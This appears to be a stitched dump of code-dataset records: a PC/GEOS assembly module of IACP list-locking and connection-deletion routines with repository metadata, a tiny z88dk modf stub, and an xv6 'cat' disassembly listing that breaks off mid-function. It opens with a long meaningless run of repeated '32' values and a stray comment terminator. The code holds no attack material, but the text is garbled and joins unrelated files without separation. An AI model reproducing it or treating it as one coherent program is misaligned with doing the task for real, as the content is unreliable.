32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 56.292683 | 2,999 | 0.661828 |
ea10d7f65fd6bf5f3f7245e8ab885c8cec686c48 | 14,748 | asm | Assembly | Library/User/IACP/iacpUtils.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/User/IACP/iacpUtils.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/User/IACP/iacpUtils.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT:
MODULE:
FILE: iacpUtils.asm
AUTHOR: Adam de Boor, Oct 12, 1992
ROUTINES:
Name Description
---- -----------
INT IACPLockListBlockExcl Lock the IACPListBlock for exclusive access
INT IACPLockListBlockShared Lock the IACPListBlock for shared access
INT IACPUnlockListBlockExcl Unlock the IACPListBlock for exclusive
access
INT IACPUnlockListBlockShared
Unlock the IACPListBlock for shared access
INT IACPLocateDocument Find a document in the registry, given its
48-bit ID
INT IACPLD_callback Callback function to locate a document
given its 48-bit ID.
INT IACPFindServer Locate a particular server in the server
array for an IACP list
INT IACPFindList Locate an IACPList structure given a
GeodeToken
EXT IACPDuplicateALB Make a copy of the given block of memory.
INT IACPDeleteConnection Delete a connection that has no more optrs
in it.
INT IACPDC_unlinkCallback Look for a particular connection and unlink
it from its IACPList, nuking the IACPList
if it has neither connections nor servers.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam 10/12/92 Initial revision
DESCRIPTION:
Utility functions used by iacpMain.asm
$Id: iacpUtils.asm,v 1.1 97/04/07 11:47:20 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IACPCommon segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IACPLockListBlockExcl
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Lock the IACPListBlock for exclusive access
CALLED BY: (INTERNAL)
PASS: nothing
RETURN: ds = locked IACPListBlock
DESTROYED: nothing
SIDE EFFECTS: none
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 10/12/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IACPLockListBlockExcl proc near
uses bx, ax
.enter
mov bx, handle IACPListBlock
call MemLockExcl
mov ds, ax
.leave
ret
IACPLockListBlockExcl endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IACPLockListBlockShared
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Lock the IACPListBlock for shared access
CALLED BY: (INTERNAL)
PASS: nothing
RETURN: ds = locked IACPListBlock
DESTROYED: nothing
SIDE EFFECTS: none
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 10/12/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IACPLockListBlockShared proc far
uses bx, ax
.enter
mov bx, handle IACPListBlock
call MemLockShared
mov ds, ax
.leave
ret
IACPLockListBlockShared endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IACPUnlockListBlockExcl
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Unlock the IACPListBlock for exclusive access
CALLED BY: (INTERNAL)
PASS: nothing
RETURN: nothing
DESTROYED: nothing (flags preserved)
SIDE EFFECTS: none
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 10/12/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IACPUnlockListBlockExcl proc near
uses bx
.enter
mov bx, handle IACPListBlock
call MemUnlockExcl
.leave
ret
IACPUnlockListBlockExcl endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IACPUnlockListBlockShared
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Unlock the IACPListBlock for shared access
CALLED BY: (INTERNAL)
PASS: nothing
RETURN: nothing
DESTROYED: nothing (flags preserved)
SIDE EFFECTS: none
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 10/12/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IACPUnlockListBlockShared proc far
uses bx
.enter
mov bx, handle IACPListBlock
call MemUnlockShared
.leave
ret
IACPUnlockListBlockShared endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IACPLocateDocument
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Find a document in the registry, given its 48-bit ID
CALLED BY: (INTERNAL) IACPCheckAndLocateDocument, IACPUnregisterDocument
PASS: ax = disk handle
cxdx = FileID
^lbx:si = server (bx == 0 if shouldn't check server)
ds = IACPListBlock
RETURN: carry set if found:
ax = index of IACPDocument in iacpDocArray
carry clear if no such doc registered
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
inline-expands ChunkArrayEnum as there aren't enough registers
passed through to perform the requisite comparison.
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 3/ 8/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IACPLocateDocument proc near
uses di, bp
.enter
mov di, ds:[iacpDocArray]
mov bp, ds:[di].CAH_count
tst bp
jz done
add di, ds:[di].CAH_offset
searchLoop:
cmp ds:[di].IACPD_disk, ax
jne no
cmp ds:[di].IACPD_id.high, cx
jne no
cmp ds:[di].IACPD_id.low, dx
jne no
tst bx
jz yes
cmp ds:[di].IACPD_server.handle, bx
jne no
cmp ds:[di].IACPD_server.chunk, si
je yes
no:
add di, size IACPDocument
dec bp
jnz searchLoop
clc
done:
.leave
ret
yes:
mov di, ds:[iacpDocArray]
mov ax, ds:[di].CAH_count
sub ax, bp ; ax <- index
stc
jmp done
IACPLocateDocument endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IACPLD_callback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Callback function to locate a document given its 48-bit
ID.
CALLED BY: (INTERNAL) IACPLocateDocument via ChunkArrayEnum
PASS: ds:di = IACPDocument to check
ax = disk handle
cxdx = FileID
bp = element #
RETURN: carry set if found (stop enumerating)
bp = untouched
carry clear if not found (keep going)
bp = element # of next one
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 3/ 8/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if (0)
IACPLD_callback proc far
.enter
no:
inc bp
clc
done:
.leave
ret
IACPLD_callback endp
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IACPFindServer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Locate a particular server in the server array for an
IACP list
CALLED BY: (INTERNAL) IACPUnregisterServer via ChunkArrayEnum
PASS: *ds:si = server array
ds:di = IACPServer to check
^lcx:dx = optr of server being sought
ax = element # of this entry
RETURN: carry set if this is the one:
ax = element # of the entry
carry clear if this isn't the one:
ax = element # of the next entry
DESTROYED: nothing
SIDE EFFECTS: none
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 10/12/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IACPFindServer proc far
.enter
cmp ds:[di].IACPS_object.handle, cx
jne no
cmp ds:[di].IACPS_object.chunk, dx
je done
no:
stc
inc ax
done:
cmc
.leave
ret
IACPFindServer endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IACPFindList
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Locate an IACPList structure given a GeodeToken
CALLED BY: (INTERNAL)
PASS: es:di = GeodeToken
(es:di *cannot* be pointing to the movable XIP code resource.)
ds = locked IACPListBlock
RETURN: carry set if found:
ax = element number
carry clear if list not around
DESTROYED: nothing
SIDE EFFECTS: none
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 10/12/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IACPFindList proc near
uses bx, cx, dx, bp, si, di
.enter
if FULL_EXECUTE_IN_PLACE
;
; Make sure the fptr (es:di) passed in is valid
;
EC < pushdw bxsi >
EC < movdw bxsi, esdi >
EC < call ECAssertValidFarPointerXIP >
EC < popdw bxsi >
endif
mov cx, {word}es:[di].GT_chars[0]
mov dx, {word}es:[di].GT_chars[2]
mov bp, es:[di].GT_manufID
;
; Inline expansion of ChunkArrayEnum so we can do this in more
; than one thread at a time.
;
mov di, ds:[iacpListArray]
mov si, ds:[di].CAH_count
add di, size ChunkArrayHeader - size IACPList
mov ax, -1
findLoop:
inc ax ; advance elt #
dec si ; reduce elt counter
jl notFound
add di, size IACPList ; advance to next elt
;
; See if this IACPList is the one we want.
;
cmp {word}ds:[di].IACPL_token.GT_chars[0], cx
jne findLoop
cmp {word}ds:[di].IACPL_token.GT_chars[2], dx
jne findLoop
cmp ds:[di].IACPL_token.GT_manufID, bp
jne findLoop
;
; Found it. AX = element number. Set carry to indicate our happiness.
;
stc
done:
.leave
ret
notFound:
clc
jmp done
IACPFindList endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IACPDuplicateALB
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Make a copy of the given block of memory.
CALLED BY: (EXTERNAL) IACPConnect
PASS: bx = handle of block to duplicate
RETURN: dx = old handle
bx = new handle
DESTROYED: nothing
SIDE EFFECTS: none
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 10/12/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IACPDuplicateALB proc far
uses ax, ds, si, di, es, cx
.enter
;
; Figure the size of the block.
;
mov ax, MGIT_SIZE
call MemGetInfo
push ax ; save for copy
;
; Allocate another the same size, locked. (XXX: pass NO_ERR flag.
; Ought to be able to handle an error more gracefully, but I have
; no time to code it -- ardeb 11/23/92)
;
mov dx, bx
call MemOwner
push bx
mov cx, ALLOC_DYNAMIC_NO_ERR_LOCK or mask HF_SHARABLE
call MemAlloc
mov es, ax
pop ax
call HandleModifyOwner
;
; Lock down the source block.
;
xchg bx, dx
call MemLock
mov ds, ax
;
; Copy the contents from the old to the new.
;
clr si, di
pop cx
shr cx
rep movsw
;
; Unlock the old.
;
call MemUnlock
;
; Unlock the new.
;
xchg bx, dx
call MemUnlock
.leave
ret
IACPDuplicateALB endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IACPDeleteConnection
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Delete a connection that has no more optrs in it.
CALLED BY: (INTERNAL) IACPShutdown
PASS: *ds:bp = IACPConnectionStruct
IACPListBlock locked for exclusive access
RETURN: nothing
DESTROYED: ax, cx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 10/12/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IACPDeleteConnection proc near
uses bx, si, di
.enter
;
; Unlink it from the list of connections...
;
mov si, offset iacpListArray
mov bx, cs
mov di, offset IACPDC_unlinkCallback
call ChunkArrayEnum
;
; ...and free the chunk.
;
mov ax, bp
call LMemFree
.leave
ret
IACPDeleteConnection endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IACPDC_unlinkCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Look for a particular connection and unlink it from its
IACPList, nuking the IACPList if it has neither connections
nor servers.
CALLED BY: (INTERNAL) IACPDeleteConnection via ChunkArrayEnum
PASS: *ds:si = iacpListArray
ds:di = IACPList to check
bp = IACPConnection chunk
RETURN: carry set if found and unlinked connection
DESTROYED: ax, bx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 10/12/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IACPDC_unlinkCallback proc far
.enter
;
; ds:bx = address of link to next connection.
;
lea bx, ds:[di].IACPL_connections
connectionLoop:
mov ax, ds:[bx] ; ax <- next connection
cmp ax, bp ; this the one we're nuking?
je foundLink ; yes
tst ax ; end of the line?
jz done ; yes -- try the next list (carry clear)
;
; Point ds:bx to the IACPCS_next field of *ds:ax and loop.
;
mov_tr bx, ax
mov bx, ds:[bx]
CheckHack <offset IACPCS_next eq 0>
jmp connectionLoop
foundLink:
;
; *ds:bx points to the handle of the connection we're nuking, so
; replace it with our connection's IACPCS_next field.
;
mov si, ds:[bp]
mov ax, ds:[si].IACPCS_next
mov ds:[bx], ax
;
; Reduce the number of connections for this list by one.
;
dec ds:[di].IACPL_numConnect
jnz doneStop
;
; No more connections. See if there are any more servers for the list.
;
mov si, ds:[di].IACPL_servers
call ChunkArrayGetCount
jcxz nukeList ; => no more servers, so no more
; need for the list
doneStop:
;
; Tell caller to stop enumerating.
;
stc
done:
.leave
ret
nukeList:
;
; Nothing left for the list, so nuke the array of servers, then the
; IACPList structure itself.
;
mov_tr ax, si ; ax <- servers array
call LMemFree
mov si, offset iacpListArray
call ChunkArrayDelete
jmp doneStop
IACPDC_unlinkCallback endp
IACPCommon ends
| 23.672552 | 79 | 0.551465 |
44b05a34962d03dd57822b9bfb6ce5c4b78ac70d | 197 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sccz80/modf.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sccz80/modf.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sccz80/modf.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_fp_math32
PUBLIC modf
EXTERN cm32_sccz80_modf
defc modf = cm32_sccz80_modf
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _modf
EXTERN _m32_modff
defc _modf = _m32_modff
ENDIF
| 12.3125 | 29 | 0.807107 |
66e24b354fe1494bc21735c3c0f11e425f477fe5 | 42,434 | asm | Assembly | user/cat.asm | Grapefruitcc/xv6-riscv-fall19 | 6a3bb66142d1d946f8089b9cd4ebbd347c7c089a | [
"MIT-0"
] | 1 | 2021-05-26T06:35:54.000Z | 2021-05-26T06:35:54.000Z | user/cat.asm | Grapefruitcc/xv6-riscv-fall19 | 6a3bb66142d1d946f8089b9cd4ebbd347c7c089a | [
"MIT-0"
] | null | null | null | user/cat.asm | Grapefruitcc/xv6-riscv-fall19 | 6a3bb66142d1d946f8089b9cd4ebbd347c7c089a | [
"MIT-0"
] | null | null | null |
user/_cat: file format elf64-littleriscv
Disassembly of section .text:
0000000000000000 <cat>:
char buf[512];
void
cat(int fd)
{
0: 7179 addi sp,sp,-48
2: f406 sd ra,40(sp)
4: f022 sd s0,32(sp)
6: ec26 sd s1,24(sp)
8: e84a sd s2,16(sp)
a: e44e sd s3,8(sp)
c: 1800 addi s0,sp,48
e: 89aa mv s3,a0
int n;
while((n = read(fd, buf, sizeof(buf))) > 0) {
10: 00001917 auipc s2,0x1
14: 91090913 addi s2,s2,-1776 # 920 <buf>
18: 20000613 li a2,512
1c: 85ca mv a1,s2
1e: 854e mv a0,s3
20: 00000097 auipc ra,0x0
24: 37e080e7 jalr 894(ra) # 39e <read>
28: 84aa mv s1,a0
2a: 02a05863 blez a0,5a <cat+0x5a>
if (write(1, buf, n) != n) {
2e: 8626 mv a2,s1
30: 85ca mv a1,s2
32: 4505 li a0,1
34: 00000097 auipc ra,0x0
38: 372080e7 jalr 882(ra) # 3a6 <write>
3c: fc950ee3 beq a0,s1,18 <cat+0x18>
printf("cat: write error\n");
40: 00001517 auipc a0,0x1
44: 87050513 addi a0,a0,-1936 # 8b0 <malloc+0xec>
48: 00000097 auipc ra,0x0
4c: 6be080e7 jalr 1726(ra) # 706 <printf>
exit(1);
50: 4505 li a0,1
52: 00000097 auipc ra,0x0
56: 334080e7 jalr 820(ra) # 386 <exit>
}
}
if(n < 0){
5a: 00054963 bltz a0,6c <cat+0x6c>
printf("cat: read error\n");
exit(1);
}
}
5e: 70a2 ld ra,40(sp)
60: 7402 ld s0,32(sp)
62: 64e2 ld s1,24(sp)
64: 6942 ld s2,16(sp)
66: 69a2 ld s3,8(sp)
68: 6145 addi sp,sp,48
6a: 8082 ret
printf("cat: read error\n");
6c: 00001517 auipc a0,0x1
70: 85c50513 addi a0,a0,-1956 # 8c8 <malloc+0x104>
74: 00000097 auipc ra,0x0
78: 692080e7 jalr 1682(ra) # 706 <printf>
exit(1);
7c: 4505 li a0,1
7e: 00000097 auipc ra,0x0
82: 308080e7 jalr 776(ra) # 386 <exit>
0000000000000086 <main>:
int
main(int argc, char *argv[])
{
86: 7179 addi sp,sp,-48
88: f406 sd ra,40(sp)
8a: f022 sd s0,32(sp)
8c: ec26 sd s1,24(sp)
8e: e84a sd s2,16(sp)
90: e44e sd s3,8(sp)
92: e052 sd s4,0(sp)
94: 1800 addi s0,sp,48
int fd, i;
if(argc <= 1){
96: 4785 li a5,1
98: 04a7d763 bge a5,a0,e6 <main+0x60>
9c: 00858913 addi s2,a1,8
a0: ffe5099b addiw s3,a0,-2
a4: 02099793 slli a5,s3,0x20
a8: 01d7d993 srli s3,a5,0x1d
ac: 05c1 addi a1,a1,16
ae: 99ae add s3,s3,a1
cat(0);
exit(1);
}
for(i = 1; i < argc; i++){
if((fd = open(argv[i], 0)) < 0){
b0: 4581 li a1,0
b2: 00093503 ld a0,0(s2)
b6: 00000097 auipc ra,0x0
ba: 310080e7 jalr 784(ra) # 3c6 <open>
be: 84aa mv s1,a0
c0: 02054d63 bltz a0,fa <main+0x74>
printf("cat: cannot open %s\n", argv[i]);
exit(1);
}
cat(fd);
c4: 00000097 auipc ra,0x0
c8: f3c080e7 jalr -196(ra) # 0 <cat>
close(fd);
cc: 8526 mv a0,s1
ce: 00000097 auipc ra,0x0
d2: 2e0080e7 jalr 736(ra) # 3ae <close>
for(i = 1; i < argc; i++){
d6: 0921 addi s2,s2,8
d8: fd391ce3 bne s2,s3,b0 <main+0x2a>
}
exit(0);
dc: 4501 li a0,0
de: 00000097 auipc ra,0x0
e2: 2a8080e7 jalr 680(ra) # 386 <exit>
cat(0);
e6: 4501 li a0,0
e8: 00000097 auipc ra,0x0
ec: f18080e7 jalr -232(ra) # 0 <cat>
exit(1);
f0: 4505 li a0,1
f2: 00000097 auipc ra,0x0
f6: 294080e7 jalr 660(ra) # 386 <exit>
printf("cat: cannot open %s\n", argv[i]);
fa: 00093583 ld a1,0(s2)
fe: 00000517 auipc a0,0x0
102: 7e250513 addi a0,a0,2018 # 8e0 <malloc+0x11c>
106: 00000097 auipc ra,0x0
10a: 600080e7 jalr 1536(ra) # 706 <printf>
exit(1);
10e: 4505 li a0,1
110: 00000097 auipc ra,0x0
114: 276080e7 jalr 630(ra) # 386 <exit>
0000000000000118 <strcpy>:
#include "kernel/fcntl.h"
#include "user/user.h"
char*
strcpy(char *s, const char *t)
{
118: 1141 addi sp,sp,-16
11a: e422 sd s0,8(sp)
11c: 0800 addi s0,sp,16
char *os;
os = s;
while((*s++ = *t++) != 0)
11e: 87aa mv a5,a0
120: 0585 addi a1,a1,1
122: 0785 addi a5,a5,1
124: fff5c703 lbu a4,-1(a1)
128: fee78fa3 sb a4,-1(a5)
12c: fb75 bnez a4,120 <strcpy+0x8>
;
return os;
}
12e: 6422 ld s0,8(sp)
130: 0141 addi sp,sp,16
132: 8082 ret
0000000000000134 <strcmp>:
int
strcmp(const char *p, const char *q)
{
134: 1141 addi sp,sp,-16
136: e422 sd s0,8(sp)
138: 0800 addi s0,sp,16
while(*p && *p == *q)
13a: 00054783 lbu a5,0(a0)
13e: cb91 beqz a5,152 <strcmp+0x1e>
140: 0005c703 lbu a4,0(a1)
144: 00f71763 bne a4,a5,152 <strcmp+0x1e>
p++, q++;
148: 0505 addi a0,a0,1
14a: 0585 addi a1,a1,1
while(*p && *p == *q)
14c: 00054783 lbu a5,0(a0)
150: fbe5 bnez a5,140 <strcmp+0xc>
return (uchar)*p - (uchar)*q;
152: 0005c503 lbu a0,0(a1)
}
156: 40a7853b subw a0,a5,a0
15a: 6422 ld s0,8(sp)
15c: 0141 addi sp,sp,16
15e: 8082 ret
0000000000000160 <strlen>:
uint
strlen(const char *s)
{
160: 1141 addi sp,sp,-16
162: e422 sd s0,8(sp)
164: 0800 addi s0,sp,16
int n;
for(n = 0; s[n]; n++)
166: 00054783 lbu a5,0(a0)
16a: cf91 beqz a5,186 <strlen+0x26>
16c: 0505 addi a0,a0,1
16e: 87aa mv a5,a0
170: 4685 li a3,1
172: 9e89 subw a3,a3,a0
174: 00f6853b addw a0,a3,a5
178: 0785 addi a5,a5,1
17a: fff7c703 lbu a4,-1(a5)
17e: fb7d bnez a4,174 <strlen+0x14>
;
return n;
}
180: 6422 ld s0,8(sp)
182: 0141 addi sp,sp,16
184: 8082 ret
for(n = 0; s[n]; n++)
186: 4501 li a0,0
188: bfe5 j 180 <strlen+0x20>
000000000000018a <memset>:
void*
memset(void *dst, int c, uint n)
{
18a: 1141 addi sp,sp,-16
18c: e422 sd s0,8(sp)
18e: 0800 addi s0,sp,16
char *cdst = (char *) dst;
int i;
for(i = 0; i < n; i++){
190: ca19 beqz a2,1a6 <memset+0x1c>
192: 87aa mv a5,a0
194: 1602 slli a2,a2,0x20
196: 9201 srli a2,a2,0x20
198: 00a60733 add a4,a2,a0
cdst[i] = c;
19c: 00b78023 sb a1,0(a5)
for(i = 0; i < n; i++){
1a0: 0785 addi a5,a5,1
1a2: fee79de3 bne a5,a4,19c <memset+0x12>
}
return dst;
}
1a6: 6422 ld s0,8(sp)
1a8: 0141 addi sp,sp,16
1aa: 8082 ret
00000000000001ac <strchr>:
char*
strchr(const char *s, char c)
{
1ac: 1141 addi sp,sp,-16
1ae: e422 sd s0,8(sp)
1b0: 0800 addi s0,sp,16
for(; *s; s++)
1b2: 00054783 lbu a5,0(a0)
1b6: cb99 beqz a5,1cc <strchr+0x20>
if(*s == c)
1b8: 00f58763 beq a1,a5,1c6 <strchr+0x1a>
for(; *s; s++)
1bc: 0505 addi a0,a0,1
1be: 00054783 lbu a5,0(a0)
1c2: fbfd bnez a5,1b8 <strchr+0xc>
return (char*)s;
return 0;
1c4: 4501 li a0,0
}
1c6: 6422 ld s0,8(sp)
1c8: 0141 addi sp,sp,16
1ca: 8082 ret
return 0;
1cc: 4501 li a0,0
1ce: bfe5 j 1c6 <strchr+0x1a>
00000000000001d0 <gets>:
char*
gets(char *buf, int max)
{
1d0: 711d addi sp,sp,-96
1d2: ec86 sd ra,88(sp)
1d4: e8a2 sd s0,80(sp)
1d6: e4a6 sd s1,72(sp)
1d8: e0ca sd s2,64(sp)
1da: fc4e sd s3,56(sp)
1dc: f852 sd s4,48(sp)
1de: f456 sd s5,40(sp)
1e0: f05a sd s6,32(sp)
1e2: ec5e sd s7,24(sp)
1e4: 1080 addi s0,sp,96
1e6: 8baa mv s7,a0
1e8: 8a2e mv s4,a1
int i, cc;
char c;
for(i=0; i+1 < max; ){
1ea: 892a mv s2,a0
1ec: 4481 li s1,0
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
1ee: 4aa9 li s5,10
1f0: 4b35 li s6,13
for(i=0; i+1 < max; ){
1f2: 89a6 mv s3,s1
1f4: 2485 addiw s1,s1,1
1f6: 0344d863 bge s1,s4,226 <gets+0x56>
cc = read(0, &c, 1);
1fa: 4605 li a2,1
1fc: faf40593 addi a1,s0,-81
200: 4501 li a0,0
202: 00000097 auipc ra,0x0
